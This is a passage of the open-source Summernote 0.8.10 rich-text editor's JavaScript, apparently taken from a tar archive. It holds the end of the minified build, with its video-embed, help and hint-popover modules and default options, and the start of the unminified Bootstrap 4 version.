e},e.prototype.hide=function(){this.$popover.hide()},e}(),se=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo}return e.prototype.initialize=function(){var t=this.options.dialogsInBody?this.$body:this.$editor,e=['<div class="form-group note-form-group row-fluid">','<label class="note-form-label">'+this.lang.video.url+' <small class="text-muted">'+this.lang.video.providers+"</small></label>",'<input class="note-video-url form-control note-form-control note-input" type="text" />',"</div>"].join(""),o='<button type="submit" href="#" class="btn btn-primary note-btn note-btn-primary note-video-btn" disabled>'+this.lang.video.insert+"</button>";this.$dialog=this.ui.dialog({title:this.lang.video.insert,fade:this.options.dialogsFade,body:e,footer:o}).render().appendTo(t)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.bindEnterKey=function(t,e){t.on("keypress",function(t){t.keyCode===At.code.ENTER&&(t.preventDefault(),e.trigger("click"))})},e.prototype.createVideoNode=function(e){var o,n=e.match(/^(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com\/(?:embed\/|v\/|watch\?v=|watch\?.+&v=))((\w|-){11})(?:\S+)?$/),i=e.match(/(?:www\.|\/\/)instagram\.com\/p\/(.[a-zA-Z0-9_-]*)/),r=e.match(/\/\/vine\.co\/v\/([a-zA-Z0-9]+)/),s=e.match(/\/\/(player\.)?vimeo\.com\/([a-z]*\/)*(\d+)[?]?.*/),a=e.match(/.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/),l=e.match(/\/\/v\.youku\.com\/v_show\/id_(\w+)=*\.html/),c=e.match(/\/\/v\.qq\.com.*?vid=(.+)/),d=e.match(/\/\/v\.qq\.com\/x?\/?(page|cover).*?\/([^\/]+)\.html\??.*/),u=e.match(/^.+.(mp4|m4v)$/),h=e.match(/^.+.(ogg|ogv)$/),p=e.match(/^.+.(webm)$/);if(n&&11===n[1].length){var f=n[1];o=t("<iframe>").attr("frameborder",0).attr("src","//www.youtube.com/embed/"+f).attr("width","640").attr("height","360")}else if(i&&i[0].length)o=t("<iframe>").attr("frameborder",0).attr("src","https://instagram.com/p/"+i[1]+"/embed/").attr("width","612").attr("height","710").attr("scrolling","no").attr("allowtransparency","true");else if(r&&r[0].length)o=t("<iframe>").attr("frameborder",0).attr("src",r[0]+"/embed/simple").attr("width","600").attr("height","600").attr("class","vine-embed");else if(s&&s[3].length)o=t("<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>").attr("frameborder",0).attr("src","//player.vimeo.com/video/"+s[3]).attr("width","640").attr("height","360");else if(a&&a[2].length)o=t("<iframe>").attr("frameborder",0).attr("src","//www.dailymotion.com/embed/video/"+a[2]).attr("width","640").attr("height","360");else if(l&&l[1].length)o=t("<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>").attr("frameborder",0).attr("height","498").attr("width","510").attr("src","//player.youku.com/embed/"+l[1]);else if(c&&c[1].length||d&&d[2].length){var m=c&&c[1].length?c[1]:d[2];o=t("<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>").attr("frameborder",0).attr("height","310").attr("width","500").attr("src","http://v.qq.com/iframe/player.html?vid="+m+"&amp;auto=0")}else{if(!(u||h||p))return!1;o=t("<video controls>").attr("src",e).attr("width","640").attr("height","360")}return o.addClass("note-video-clip"),o[0]},e.prototype.show=function(){var t=this,e=this.context.invoke("editor.getSelectedText");this.context.invoke("editor.saveRange"),this.showVideoDialog(e).then(function(e){t.ui.hideDialog(t.$dialog),t.context.invoke("editor.restoreRange");var o=t.createVideoNode(e);o&&t.context.invoke("editor.insertNode",o)}).fail(function(){t.context.invoke("editor.restoreRange")})},e.prototype.showVideoDialog=function(e){var o=this;return t.Deferred(function(t){var n=o.$dialog.find(".note-video-url"),i=o.$dialog.find(".note-video-btn");o.ui.onDialogShown(o.$dialog,function(){o.context.triggerEvent("dialog.shown"),n.val(e).on("input",function(){o.ui.toggleBtn(i,n.val())}),z.isSupportTouch||n.trigger("focus"),i.click(function(e){e.preventDefault(),t.resolve(n.val())}),o.bindEnterKey(n,i)}),o.ui.onDialogHidden(o.$dialog,function(){n.off("input"),i.off("click"),"pending"===t.state()&&t.reject()}),o.ui.showDialog(o.$dialog)})},e}(),ae=function(){function e(e){this.context=e,this.ui=t.summernote.ui,this.$body=t(document.body),this.$editor=e.layoutInfo.editor,this.options=e.options,this.lang=this.options.langInfo}return e.prototype.initialize=function(){var t=this.options.dialogsInBody?this.$body:this.$editor,e=['<p class="text-center">','<a href="http://summernote.org/" target="_blank">Summernote 0.8.10</a> · ','<a href="https://github.com/summernote/summernote" target="_blank">Project</a> · ','<a href="https://github.com/summernote/summernote/issues" target="_blank">Issues</a>',"</p>"].join("");this.$dialog=this.ui.dialog({title:this.lang.options.help,fade:this.options.dialogsFade,body:this.createShortcutList(),footer:e,callback:function(t){t.find(".modal-body,.note-modal-body").css({"max-height":300,overflow:"scroll"})}}).render().appendTo(t)},e.prototype.destroy=function(){this.ui.hideDialog(this.$dialog),this.$dialog.remove()},e.prototype.createShortcutList=function(){var e=this,o=this.options.keyMap[z.isMac?"mac":"pc"];return Object.keys(o).map(function(n){var i=o[n],r=t('<div><div class="help-list-item"/></div>');return r.append(t("<label><kbd>"+n+"</kdb></label>").css({width:180,"margin-right":10})).append(t("<span/>").html(e.context.memo("help."+i)||i)),r.html()}).join("")},e.prototype.showHelpDialog=function(){var e=this;return t.Deferred(function(t){e.ui.onDialogShown(e.$dialog,function(){e.context.triggerEvent("dialog.shown"),t.resolve()}),e.ui.showDialog(e.$dialog)}).promise()},e.prototype.show=function(){var t=this;this.context.invoke("editor.saveRange"),this.showHelpDialog().then(function(){t.context.invoke("editor.restoreRange")})},e}(),le=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.options=e.options,this.events={"summernote.keyup summernote.mouseup summernote.scroll":function(){o.update()},"summernote.disable summernote.change summernote.dialog.shown":function(){o.hide()},"summernote.focusout":function(t,e){z.isFF||e.relatedTarget&&Nt.ancestor(e.relatedTarget,C.eq(o.$popover[0]))||o.hide()}}}return e.prototype.shouldInitialize=function(){return this.options.airMode&&!N.isEmpty(this.options.popover.air)},e.prototype.initialize=function(){this.$popover=this.ui.popover({className:"note-air-popover"}).render().appendTo(this.options.container);var t=this.$popover.find(".popover-content");this.context.invoke("buttons.build",t,this.options.popover.air)},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.update=function(){var t=this.context.invoke("editor.currentStyle");if(t.range&&!t.range.isCollapsed()){var e=N.last(t.range.getClientRects());if(e){var o=C.rect2bnd(e);this.$popover.css({display:"block",left:Math.max(o.left+o.width/2,0)-20,top:o.top+o.height}),this.context.invoke("buttons.updateCurrentStyle",this.$popover)}}else this.hide()},e.prototype.hide=function(){this.$popover.hide()},e}(),ce=function(){function e(e){var o=this;this.context=e,this.ui=t.summernote.ui,this.$editable=e.layoutInfo.editable,this.options=e.options,this.hint=this.options.hint||[],this.direction=this.options.hintDirection||"bottom",this.hints=t.isArray(this.hint)?this.hint:[this.hint],this.events={"summernote.keyup":function(t,e){e.isDefaultPrevented()||o.handleKeyup(e)},"summernote.keydown":function(t,e){o.handleKeydown(e)},"summernote.disable summernote.dialog.shown":function(){o.hide()}}}return e.prototype.shouldInitialize=function(){return this.hints.length>0},e.prototype.initialize=function(){var e=this;this.lastWordRange=null,this.$popover=this.ui.popover({className:"note-hint-popover",hideArrow:!0,direction:""}).render().appendTo(this.options.container),this.$popover.hide(),this.$content=this.$popover.find(".popover-content,.note-popover-content"),this.$content.on("click",".note-hint-item",function(){e.$content.find(".active").removeClass("active"),t(e).addClass("active"),e.replace()})},e.prototype.destroy=function(){this.$popover.remove()},e.prototype.selectItem=function(t){this.$content.find(".active").removeClass("active"),t.addClass("active"),this.$content[0].scrollTop=t[0].offsetTop-this.$content.innerHeight()/2},e.prototype.moveDown=function(){var t=this.$content.find(".note-hint-item.active"),e=t.next();if(e.length)this.selectItem(e);else{var o=t.parent().next();o.length||(o=this.$content.find(".note-hint-group").first()),this.selectItem(o.find(".note-hint-item").first())}},e.prototype.moveUp=function(){var t=this.$content.find(".note-hint-item.active"),e=t.prev();if(e.length)this.selectItem(e);else{var o=t.parent().prev();o.length||(o=this.$content.find(".note-hint-group").last()),this.selectItem(o.find(".note-hint-item").last())}},e.prototype.replace=function(){var t=this.$content.find(".note-hint-item.active");if(t.length){var e=this.nodeFromItem(t);this.lastWordRange.insertNode(e),Ht.createFromNode(e).collapse().select(),this.lastWordRange=null,this.hide(),this.context.triggerEvent("change",this.$editable.html(),this.$editable[0]),this.context.invoke("editor.focus")}},e.prototype.nodeFromItem=function(t){var e=this.hints[t.data("index")],o=t.data("item"),n=e.content?e.content(o):o;return"string"==typeof n&&(n=Nt.createText(n)),n},e.prototype.createItemTemplates=function(e,o){var n=this.hints[e];return o.map(function(o,i){var r=t('<div class="note-hint-item"/>');return r.append(n.template?n.template(o):o+""),r.data({index:e,item:o}),r})},e.prototype.handleKeydown=function(t){this.$popover.is(":visible")&&(t.keyCode===At.code.ENTER?(t.preventDefault(),this.replace()):t.keyCode===At.code.UP?(t.preventDefault(),this.moveUp()):t.keyCode===At.code.DOWN&&(t.preventDefault(),this.moveDown()))},e.prototype.searchKeyword=function(t,e,o){var n=this.hints[t];if(n&&n.match.test(e)&&n.search){var i=n.match.exec(e);n.search(i[1],o)}else o()},e.prototype.createGroup=function(e,o){var n=this,i=t('<div class="note-hint-group note-hint-group-'+e+'"/>');return this.searchKeyword(e,o,function(t){(t=t||[]).length&&(i.html(n.createItemTemplates(e,t)),n.show())}),i},e.prototype.handleKeyup=function(t){var e=this;if(!N.contains([At.code.ENTER,At.code.UP,At.code.DOWN],t.keyCode)){var o=this.context.invoke("editor.createRange").getWordRange(),n=o.toString();if(this.hints.length&&n){this.$content.empty();var i=C.rect2bnd(N.last(o.getClientRects()));i&&(this.$popover.hide(),this.lastWordRange=o,this.hints.forEach(function(t,o){t.match.test(n)&&e.createGroup(o,n).appendTo(e.$content)}),this.$content.find(".note-hint-item:first").addClass("active"),"top"===this.direction?this.$popover.css({left:i.left,top:i.top-this.$popover.outerHeight()-5}):this.$popover.css({left:i.left,top:i.top+i.height+5}))}else this.hide()}},e.prototype.show=function(){this.$popover.show()},e.prototype.hide=function(){this.$popover.hide()},e}(),de=function(){function e(e,o){this.ui=t.summernote.ui,this.$note=e,this.memos={},this.modules={},this.layoutInfo={},this.options=o,this.initialize()}return e.prototype.initialize=function(){return this.layoutInfo=this.ui.createLayout(this.$note,this.options),this._initialize(),this.$note.hide(),this},e.prototype.destroy=function(){this._destroy(),this.$note.removeData("summernote"),this.ui.removeLayout(this.$note,this.layoutInfo)},e.prototype.reset=function(){var t=this.isDisabled();this.code(Nt.emptyPara),this._destroy(),this._initialize(),t&&this.disable()},e.prototype._initialize=function(){var e=this,o=t.extend({},this.options.buttons);Object.keys(o).forEach(function(t){e.memo("button."+t,o[t])});var n=t.extend({},this.options.modules,t.summernote.plugins||{});Object.keys(n).forEach(function(t){e.module(t,n[t],!0)}),Object.keys(this.modules).forEach(function(t){e.initializeModule(t)})},e.prototype._destroy=function(){var t=this;Object.keys(this.modules).reverse().forEach(function(e){t.removeModule(e)}),Object.keys(this.memos).forEach(function(e){t.removeMemo(e)}),this.triggerEvent("destroy",this)},e.prototype.code=function(t){var e=this.invoke("codeview.isActivated");if(void 0===t)return this.invoke("codeview.sync"),e?this.layoutInfo.codable.val():this.layoutInfo.editable.html();e?this.layoutInfo.codable.val(t):this.layoutInfo.editable.html(t),this.$note.val(t),this.triggerEvent("change",t)},e.prototype.isDisabled=function(){return"false"===this.layoutInfo.editable.attr("contenteditable")},e.prototype.enable=function(){this.layoutInfo.editable.attr("contenteditable",!0),this.invoke("toolbar.activate",!0),this.triggerEvent("disable",!1)},e.prototype.disable=function(){this.invoke("codeview.isActivated")&&this.invoke("codeview.deactivate"),this.layoutInfo.editable.attr("contenteditable",!1),this.invoke("toolbar.deactivate",!0),this.triggerEvent("disable",!0)},e.prototype.triggerEvent=function(){var t=N.head(arguments),e=N.tail(N.from(arguments)),o=this.options.callbacks[C.namespaceToCamel(t,"on")];o&&o.apply(this.$note[0],e),this.$note.trigger("summernote."+t,e)},e.prototype.initializeModule=function(t){var e=this.modules[t];e.shouldInitialize=e.shouldInitialize||C.ok,e.shouldInitialize()&&(e.initialize&&e.initialize(),e.events&&Nt.attachEvents(this.$note,e.events))},e.prototype.module=function(t,e,o){if(1===arguments.length)return this.modules[t];this.modules[t]=new e(this),o||this.initializeModule(t)},e.prototype.removeModule=function(t){var e=this.modules[t];e.shouldInitialize()&&(e.events&&Nt.detachEvents(this.$note,e.events),e.destroy&&e.destroy()),delete this.modules[t]},e.prototype.memo=function(t,e){if(1===arguments.length)return this.memos[t];this.memos[t]=e},e.prototype.removeMemo=function(t){this.memos[t]&&this.memos[t].destroy&&this.memos[t].destroy(),delete this.memos[t]},e.prototype.createInvokeHandlerAndUpdateState=function(t,e){var o=this;return function(n){o.createInvokeHandler(t,e)(n),o.invoke("buttons.updateCurrentStyle")}},e.prototype.createInvokeHandler=function(e,o){var n=this;return function(i){i.preventDefault();var r=t(i.target);n.invoke(e,o||r.closest("[data-value]").data("value"),r)}},e.prototype.invoke=function(){var t=N.head(arguments),e=N.tail(N.from(arguments)),o=t.split("."),n=o.length>1,i=n&&N.head(o),r=n?N.last(o):N.head(o),s=this.modules[i||"editor"];return!i&&this[r]?this[r].apply(this,e):s&&s[r]&&s.shouldInitialize()?s[r].apply(s,e):void 0},e}();t.fn.extend({summernote:function(){var e=t.type(N.head(arguments)),o="string"===e,n="object"===e,i=t.extend({},t.summernote.options,n?N.head(arguments):{});i.langInfo=t.extend(!0,{},t.summernote.lang["en-US"],t.summernote.lang[i.lang]),i.icons=t.extend(!0,{},t.summernote.options.icons,i.icons),i.tooltip="auto"===i.tooltip?!z.isSupportTouch:i.tooltip,this.each(function(e,o){var n=t(o);if(!n.data("summernote")){var r=new de(n,i);n.data("summernote",r),n.data("summernote").triggerEvent("init",r.layoutInfo)}});var r=this.first();if(r.length){var s=r.data("summernote");if(o)return s.invoke.apply(s,N.from(arguments));i.focus&&s.invoke("editor.focus")}return this}}),t.summernote=t.extend(t.summernote,{version:"0.8.10",ui:y,dom:Nt,plugins:{},options:{modules:{editor:jt,clipboard:qt,dropzone:Kt,codeview:Vt,statusbar:Wt,fullscreen:Gt,handle:_t,hintPopover:ce,autoLink:Yt,autoSync:Qt,placeholder:Jt,buttons:Xt,toolbar:te,linkDialog:ee,linkPopover:oe,imageDialog:ne,imagePopover:ie,tablePopover:re,videoDialog:se,helpDialog:ae,airPopover:le},buttons:{},lang:"en-US",followingToolbar:!0,otherStaticBar:"",toolbar:[["style",["style"]],["font",["bold","underline","clear"]],["fontname",["fontname"]],["color",["color"]],["para",["ul","ol","paragraph"]],["table",["table"]],["insert",["link","picture","video"]],["view",["fullscreen","codeview","help"]]],popatmouse:!0,popover:{image:[["imagesize",["imageSize100","imageSize50","imageSize25"]],["float",["floatLeft","floatRight","floatNone"]],["remove",["removeMedia"]]],link:[["link",["linkDialogShow","unlink"]]],table:[["add",["addRowDown","addRowUp","addColLeft","addColRight"]],["delete",["deleteRow","deleteCol","deleteTable"]]],air:[["color",["color"]],["font",["bold","underline","clear"]],["para",["ul","paragraph"]],["table",["table"]],["insert",["link","picture"]]]},airMode:!1,width:null,height:null,linkTargetBlank:!0,focus:!1,tabSize:4,styleWithSpan:!0,shortcuts:!0,textareaAutoSync:!0,hintDirection:"bottom",tooltip:"auto",container:"body",maxTextLength:0,styleTags:["p",{title:"Blockquote",tag:"blockquote",className:"blockquote",value:"blockquote"},"h1","h2","h3","h4","h5","h6"],fontNames:["Arial","Arial Black","Comic Sans MS","Courier New","Helvetica Neue","Helvetica","Impact","Lucida Grande","Tahoma","Times New Roman","Verdana"],fontSizes:["8","9","10","11","12","14","18","24","36"],colors:[["#000000","#424242","#636363","#9C9C94","#CEC6CE","#EFEFEF","#F7F7F7","#FFFFFF"],["#FF0000","#FF9C00","#FFFF00","#00FF00","#00FFFF","#0000FF","#9C00FF","#FF00FF"],["#F7C6CE","#FFE7CE","#FFEFC6","#D6EFD6","#CEDEE7","#CEE7F7","#D6D6E7","#E7D6DE"],["#E79C9C","#FFC69C","#FFE79C","#B5D6A5","#A5C6CE","#9CC6EF","#B5A5D6","#D6A5BD"],["#E76363","#F7AD6B","#FFD663","#94BD7B","#73A5AD","#6BADDE","#8C7BC6","#C67BA5"],["#CE0000","#E79439","#EFC631","#6BA54A","#4A7B8C","#3984C6","#634AA5","#A54A7B"],["#9C0000","#B56308","#BD9400","#397B21","#104A5A","#085294","#311873","#731842"],["#630000","#7B3900","#846300","#295218","#083139","#003163","#21104A","#4A1031"]],colorsName:[["Black","Tundora","Dove Gray","Star Dust","Pale Slate","Gallery","Alabaster","White"],["Red","Orange Peel","Yellow","Green","Cyan","Blue","Electric Violet","Magenta"],["Azalea","Karry","Egg White","Zanah","Botticelli","Tropical Blue","Mischka","Twilight"],["Tonys Pink","Peach Orange","Cream Brulee","Sprout","Casper","Perano","Cold Purple","Careys Pink"],["Mandy","Rajah","Dandelion","Olivine","Gulf Stream","Viking","Blue Marguerite","Puce"],["Guardsman Red","Fire Bush","Golden Dream","Chelsea Cucumber","Smalt Blue","Boston Blue","Butterfly Bush","Cadillac"],["Sangria","Mai Tai","Buddha Gold","Forest Green","Eden","Venice Blue","Meteorite","Claret"],["Rosewood","Cinnamon","Olive","Parsley","Tiber","Midnight Blue","Valentino","Loulou"]],lineHeights:["1.0","1.2","1.4","1.5","1.6","1.8","2.0","3.0"],tableClassName:"table table-bordered",insertTableMaxSize:{col:10,row:10},dialogsInBody:!1,dialogsFade:!1,maximumImageFileSize:null,callbacks:{onInit:null,onFocus:null,onBlur:null,onBlurCodeview:null,onEnter:null,onKeyup:null,onKeydown:null,onImageUpload:null,onImageUploadError:null},codemirror:{mode:"text/html",htmlMode:!0,lineNumbers:!0},keyMap:{pc:{ENTER:"insertParagraph","CTRL+Z":"undo","CTRL+Y":"redo",TAB:"tab","SHIFT+TAB":"untab","CTRL+B":"bold","CTRL+I":"italic","CTRL+U":"underline","CTRL+SHIFT+S":"strikethrough","CTRL+BACKSLASH":"removeFormat","CTRL+SHIFT+L":"justifyLeft","CTRL+SHIFT+E":"justifyCenter","CTRL+SHIFT+R":"justifyRight","CTRL+SHIFT+J":"justifyFull","CTRL+SHIFT+NUM7":"insertUnorderedList","CTRL+SHIFT+NUM8":"insertOrderedList","CTRL+LEFTBRACKET":"outdent","CTRL+RIGHTBRACKET":"indent","CTRL+NUM0":"formatPara","CTRL+NUM1":"formatH1","CTRL+NUM2":"formatH2","CTRL+NUM3":"formatH3","CTRL+NUM4":"formatH4","CTRL+NUM5":"formatH5","CTRL+NUM6":"formatH6","CTRL+ENTER":"insertHorizontalRule","CTRL+K":"linkDialog.show"},mac:{ENTER:"insertParagraph","CMD+Z":"undo","CMD+SHIFT+Z":"redo",TAB:"tab","SHIFT+TAB":"untab","CMD+B":"bold","CMD+I":"italic","CMD+U":"underline","CMD+SHIFT+S":"strikethrough","CMD+BACKSLASH":"removeFormat","CMD+SHIFT+L":"justifyLeft","CMD+SHIFT+E":"justifyCenter","CMD+SHIFT+R":"justifyRight","CMD+SHIFT+J":"justifyFull","CMD+SHIFT+NUM7":"insertUnorderedList","CMD+SHIFT+NUM8":"insertOrderedList","CMD+LEFTBRACKET":"outdent","CMD+RIGHTBRACKET":"indent","CMD+NUM0":"formatPara","CMD+NUM1":"formatH1","CMD+NUM2":"formatH2","CMD+NUM3":"formatH3","CMD+NUM4":"formatH4","CMD+NUM5":"formatH5","CMD+NUM6":"formatH6","CMD+ENTER":"insertHorizontalRule","CMD+K":"linkDialog.show"}},icons:{align:"note-icon-align",alignCenter:"note-icon-align-center",alignJustify:"note-icon-align-justify",alignLeft:"note-icon-align-left",alignRight:"note-icon-align-right",rowBelow:"note-icon-row-below",colBefore:"note-icon-col-before",colAfter:"note-icon-col-after",rowAbove:"note-icon-row-above",rowRemove:"note-icon-row-remove",colRemove:"note-icon-col-remove",indent:"note-icon-align-indent",outdent:"note-icon-align-outdent",arrowsAlt:"note-icon-arrows-alt",bold:"note-icon-bold",caret:"note-icon-caret",circle:"note-icon-circle",close:"note-icon-close",code:"note-icon-code",eraser:"note-icon-eraser",font:"note-icon-font",frame:"note-icon-frame",italic:"note-icon-italic",link:"note-icon-link",unlink:"note-icon-chain-broken",magic:"note-icon-magic",menuCheck:"note-icon-menu-check",minus:"note-icon-minus",orderedlist:"note-icon-orderedlist",pencil:"note-icon-pencil",picture:"note-icon-picture",question:"note-icon-question",redo:"note-icon-redo",square:"note-icon-square",strikethrough:"note-icon-strikethrough",subscript:"note-icon-subscript",superscript:"note-icon-superscript",table:"note-icon-table",textHeight:"note-icon-text-height",trash:"note-icon-trash",underline:"note-icon-underline",undo:"note-icon-undo",unorderedlist:"note-icon-unorderedlist",video:"note-icon-video"}}})});summernote-bs4.js000064400001023451151677331550010011 0ustar00/**
 * Super simple wysiwyg editor v0.8.10
 * https://summernote.org
 *
 * Copyright 2013- Alan Hong. and other contributors
 * summernote may be freely distributed under the MIT license.
 *
 * Date: 2018-02-20T00:34Z
 */
(function (global, factory) {
	typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('jquery')) :
	typeof define === 'function' && define.amd ? define(['jquery'], factory) :
	(factory(global.jQuery));
}(this, (function ($$1) { 'use strict';

$$1 = $$1 && $$1.hasOwnProperty('default') ? $$1['default'] : $$1;

var Renderer = /** @class */ (function () {
    function Renderer(markup, children, options, callback) {
        this.markup = markup;
        this.children = children;
        this.options = options;
        this.callback = callback;
    }
    Renderer.prototype.render = function ($parent) {
        var $node = $$1(this.markup);
        if (this.options && this.options.contents) {
            $node.html(this.options.contents);
        }
        if (this.options && this.options.className) {
            $node.addClass(this.options.className);
        }
        if (this.options && this.options.data) {
            $$1.each(this.options.data, function (k, v) {
                $node.attr('data-' + k, v);
            });
        }
        if (this.options && this.options.click) {
            $node.on('click', this.options.click);
        }
        if (this.children) {
            var $container_1 = $node.find('.note-children-container');
            this.children.forEach(function (child) {
                child.render($container_1.length ? $container_1 : $node);
            });
        }
        if (this.callback) {
            this.callback($node, this.options);
        }
        if (this.options && this.options.callback) {
            this.options.callback($node);
        }
        if ($parent) {
            $parent.append($node);
        }
        return $node;
    };
    return Renderer;
}());
var renderer = {
    create: function (markup, callback) {
        return function () {
            var options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0];
            var children = $$1.isArray(arguments[0]) ? arguments[0] : [];
            if (options && options.children) {
                children = options.children;
            }
            return new Renderer(markup, children, options, callback);
        };
    }
};

var editor = renderer.create('<div class="note-editor note-frame card"/>');
var toolbar = renderer.create('<div class="note-toolbar-wrapper"><div class="note-toolbar card-header" role="toolbar"></div></div>');
var editingArea = renderer.create('<div class="note-editing-area"/>');
var codable = renderer.create('<textarea class="note-codable" role="textbox" aria-multiline="true"/>');
var editable = renderer.create('<div class="note-editable card-block" contentEditable="true" role="textbox" aria-multiline="true"/>');
var statusbar = renderer.create([
    '<output class="note-status-output" aria-live="polite"/>',
    '<div class="note-statusbar" role="status">',
    '  <output class="note-status-output" aria-live="polite"></output>',
    '  <div class="note-resizebar" role="seperator" aria-orientation="horizontal" aria-label="Resize">',
    '    <div class="note-icon-bar"/>',
    '    <div class="note-icon-bar"/>',
    '    <div class="note-icon-bar"/>',
    '  </div>',
    '</div>'
].join(''));
var airEditor = renderer.create('<div class="note-editor"/>');
var airEditable = renderer.create([
    '<output class="note-status-output" aria-live="polite"/>',
    '<div class="note-editable" contentEditable="true" role="textbox" aria-multiline="true"/>'
].join(''));
var buttonGroup = renderer.create('<div class="note-btn-group btn-group">');
var dropdown = renderer.create('<div class="dropdown-menu" role="list">', function ($node, options) {
    var markup = $$1.isArray(options.items) ? options.items.map(function (item) {
        var value = (typeof item === 'string') ? item : (item.value || '');
        var content = options.template ? options.template(item) : item;
        var option = (typeof item === 'object') ? item.option : undefined;
        var dataValue = 'data-value="' + value + '"';
        var dataOption = (option !== undefined) ? ' data-option="' + option + '"' : '';
        return '<a class="dropdown-item" href="#" ' + (dataValue + dataOption) + ' role="listitem" aria-label="' + item + '">' + content + '</a>';
    }).join('') : options.items;
    $node.html(markup).attr({ 'aria-label': options.title });
});
var dropdownButtonContents = function (contents) {
    return contents;
};
var dropdownCheck = renderer.create('<div class="dropdown-menu note-check" role="list">', function ($node, options) {
    var markup = $$1.isArray(options.items) ? options.items.map(function (item) {
        var value = (typeof item === 'string') ? item : (item.value || '');
        var content = options.template ? options.template(item) : item;
        return '<a class="dropdown-item" href="#" data-value="' + value + '" role="listitem" aria-label="' + item + '">' + icon(options.checkClassName) + ' ' + content + '</a>';
    }).join('') : options.items;
    $node.html(markup).attr({ 'aria-label': options.title });
});
var palette = renderer.create('<div class="note-color-palette"/>', function ($node, options) {
    var contents = [];
    for (var row = 0, rowSize = options.colors.length; row < rowSize; row++) {
        var eventName = options.eventName;
        var colors = options.colors[row];
        var colorsName = options.colorsName[row];
        var buttons = [];
        for (var col = 0, colSize = colors.length; col < colSize; col++) {
            var color = colors[col];
            var colorName = colorsName[col];
            buttons.push([
                '<button type="button" class="note-color-btn"',
                'style="background-color:', color, '" ',
                'data-event="', eventName, '" ',
                'data-value="', color, '" ',
                'title="', colorName, '" ',
                'aria-label="', colorName, '" ',
                'data-toggle="button" tabindex="-1"></button>'
            ].join(''));
        }
        contents.push('<div class="note-color-row">' + buttons.join('') + '</div>');
    }
    $node.html(contents.join(''));
    if (options.tooltip) {
        $node.find('.note-color-btn').tooltip({
            container: options.container,
            trigger: 'hover',
            placement: 'bottom'
        });
    }
});
var dialog = renderer.create('<div class="modal" aria-hidden="false" tabindex="-1" role="dialog"/>', function ($node, options) {
    if (options.fade) {
        $node.addClass('fade');
    }
    $node.attr({
        'aria-label': options.title
    });
    $node.html([
        '<div class="modal-dialog">',
        '  <div class="modal-content">',
        (options.title
            ? '    <div class="modal-header">' +
                '      <h4 class="modal-title">' + options.title + '</h4>' +
                '      <button type="button" class="close" data-dismiss="modal" aria-label="Close" aria-hidden="true">&times;</button>' +
                '    </div>' : ''),
        '    <div class="modal-body">' + options.body + '</div>',
        (options.footer
            ? '    <div class="modal-footer">' + options.footer + '</div>' : ''),
        '  </div>',
        '</div>'
    ].join(''));
});
var popover = renderer.create([
    '<div class="note-popover popover in">',
    '  <div class="arrow"/>',
    '  <div class="popover-content note-children-container"/>',
    '</div>'
].join(''), function ($node, options) {
    var direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom';
    $node.addClass(direction);
    if (options.hideArrow) {
        $node.find('.arrow').hide();
    }
});
var checkbox = renderer.create('<label class="custom-control custom-checkbox"></label>', function ($node, options) {
    if (options.id) {
        $node.attr('for', options.id);
    }
    $node.html([
        ' <input role="checkbox" type="checkbox" class="custom-control-input"' + (options.id ? ' id="' + options.id + '"' : ''),
        (options.checked ? ' checked' : ''),
        ' aria-checked="' + (options.checked ? 'true' : 'false') + '"/>',
        ' <span class="custom-control-indicator"></span>',
        ' <span class="custom-control-description">' + (options.text ? options.text : '') + '</span>',
        '</label>'
    ].join(''));
});
var icon = function (iconClassName, tagName) {
    tagName = tagName || 'i';
    return '<' + tagName + ' class="' + iconClassName + '"/>';
};
var ui = {
    editor: editor,
    toolbar: toolbar,
    editingArea: editingArea,
    codable: codable,
    editable: editable,
    statusbar: statusbar,
    airEditor: airEditor,
    airEditable: airEditable,
    buttonGroup: buttonGroup,
    dropdown: dropdown,
    dropdownButtonContents: dropdownButtonContents,
    dropdownCheck: dropdownCheck,
    palette: palette,
    dialog: dialog,
    popover: popover,
    icon: icon,
    checkbox: checkbox,
    options: {},
    button: function ($node, options) {
        return renderer.create('<button type="button" class="note-btn btn btn-light btn-sm" role="button" tabindex="-1">', function ($node, options) {
            if (options && options.tooltip) {
                $node.attr({
                    title: options.tooltip,
                    'aria-label': options.tooltip
                }).tooltip({
                    container: options.container,
                    trigger: 'hover',
                    placement: 'bottom'
                });
            }
        })($node, options);
    },
    toggleBtn: function ($btn, isEnable) {
        $btn.toggleClass('disabled', !isEnable);
        $btn.attr('disabled', !isEnable);
    },
    toggleBtnActive: function ($btn, isActive) {
        $btn.toggleClass('active', isActive);
    },
    onDialogShown: function ($dialog, handler) {
        $dialog.one('shown.bs.modal', handler);
    },
    onDialogHidden: function ($dialog, handler) {
        $dialog.one('hidden.bs.modal', handler);
    },
    showDialog: function ($dialog) {
        $dialog.modal('show');
    },
    hideDialog: function ($dialog) {
        $dialog.modal('hide');
    },
    createLayout: function ($note, options) {
        var $editor = (options.airMode ? ui.airEditor([
            ui.editingArea([
                ui.airEditable()
            ])
        ]) : ui.editor([
            ui.toolbar(),
            ui.editingArea([
                ui.codable(),
                ui.editable()
            ]),
            ui.statusbar()
        ])).render();
        $editor.insertAfter($note);
        return {
            note: $note,
            editor: $editor,
            toolbar: $editor.find('.note-toolbar'),
            editingArea: $editor.find('.note-editing-area'),
            editable: $editor.find('.note-editable'),
            codable: $editor.find('.note-codable'),
            statusbar: $editor.find('.note-statusbar')
        };
    },
    removeLayout: function ($note, layoutInfo) {
        $note.html(layoutInfo.editable.html());
        layoutInfo.editor.remove();
        $note.show();
    }
};

/**
 * @class core.func
 *
 * func utils (for high-order func's arg)
 *
 * @singleton
 * @alternateClassName func
 */
function eq(itemA) {
    return function (itemB) {
        return itemA === itemB;
    };
}
function eq2(itemA, itemB) {
    return itemA === itemB;
}
function peq2(propName) {
    return function (itemA, itemB) {
        return itemA[propName] === itemB[propName];
    };
}
function ok() {
    return true;
}
function fail() {
    return false;
}
